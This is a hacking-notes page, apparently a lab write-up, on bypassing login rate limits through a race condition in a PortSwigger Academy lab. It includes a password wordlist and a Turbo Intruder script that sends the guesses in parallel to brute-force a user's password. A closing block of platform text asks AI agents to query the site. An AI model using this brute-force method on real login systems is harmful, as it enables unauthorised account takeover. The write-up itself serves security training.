> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/race-conditions/rate-limit-bypass-via-race-condition.md).

# Rate Limit Bypass via Race Condition

Rate Limit Bypass via Race Condition notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Bypassing Rate Limits via Race Conditions

The authentication mechanism sets up a **limit of the number of attempts** to prevent brute force attacks. / However, \*\* it is observed\*\* that this protection can be circumvented because of a **race condition** when processing simultaneous requests.

Lab objective:

* Use the race condition to bypass the limitation.
* Find user password **carlos**.
* Connect to the application.
* Access the administration panel.
* Delete user **carlos**.

#### Wordlist Used

```bash
123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000
```

#### Observation of the Connection Mechanism

When sending the login form, \*\* it is observed\*\* that a POST request is transmitted with the following parameters:

* `CSRF`
* `username`
* `password`

```bash
csrf=8SbZ2jaR8pdJ0Q4r0XNqmTeVk5GJHxsx&username=wiener&password=peter
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-978b90d6d0f831083cecc097c3eac664eabd31a6%2F%7B91986B8D-C9A8-4EC1-9DC7-784F1862BD68%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

After several consecutive incorrect attempts, **the message appears**:

> *You have made too many incorrect login attempts. Please try again in XX seconds.*

This confirms the presence of a **rate limiting server side**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-581461137fab0a0ea594bcd6e41379b0fdc73b29%2F%7BA0AE1E42-912C-4D1F-BAC2-22125D034AB0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contouring by Race Condition (manual Tests)

\*Establishment of a group "race condition".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-800ea6847f021ac270b076cd725a39a7dc667b67%2F%7B9F6736E0-CEF6-4CF1-8CCF-D3D50F81654F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Duplicate the tab **10 times**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86cb8f8b73754caa64d9f5aa32b4401281e9e3b2%2F%7B16D39E6B-E670-4B7B-8101-28CF71888128%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Send all requests **in parallel**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7c7ce357995a2764035f6c68fbc1b04b2862d9b%2F%7B698E9180-6F9C-4DE1-BC14-B5A276C5CAD9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Test :

```bash
csrf=ab5gEWlWPKDUCJCQAlxrxR42dLIhJCWR&username=wiener&password=test
```

Observation: By sending in parallel, **the blocking does not occur** in this case.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e4d626bf7098237e3993456f4db8c9aee2cc39c%2F%7BAB53F501-1E25-49E2-8397-ECA8A5AEADE8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Brute Parallel Force on Carlos with Turbo Intruder

* Install and use the **Turbo Intruder** extension.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e650ec2969c04889f137627f2b0f6542f9041ce%2F%7B0A79D851-DC21-4F39-A224-B1164CA6FFF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* From the login request: **Send to Turbo Intruder**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-623faec133778790941b4fc149c94ece7b5d9b47%2F%7BA72871DD-FBA1-4E1B-A2E5-5140404D9120%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Select the **`race single packet attack.py`** script.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c070c03584351ecadd8a8752e6dfaf56a6470ed8%2F%7B9F0CF1A4-47D8-4629-A43D-73672EC2D55E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Copy the wordlist to the **clipboard**, then run with this script:

```python
def queueRequests(target, wordlists):

    # if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
    # if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
    # for more information, check out https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )


    passwords = wordlists.clipboard
    # the 'gate' argument withholds part of each request until openGate is invoked
    # if you see a negative timestamp, the server responded before the request was complete
    for password in passwords:
        engine.queue(target.req, password, gate='race1')

    # once every 'race1' tagged request has been queued
    # invoke engine.openGate() to send them in sync
    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)

```

#### Observed Result

By testing all values in parallel, a password returns a \*\* HTTP code 302\*\* ( login success indicator).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bff2ba9755bc654e4720ef39902f0c4fadafe5b8%2F%7B1B56FAA5-4826-41BC-8B5A-983EB19DBF5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/race-conditions/rate-limit-bypass-via-race-condition.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
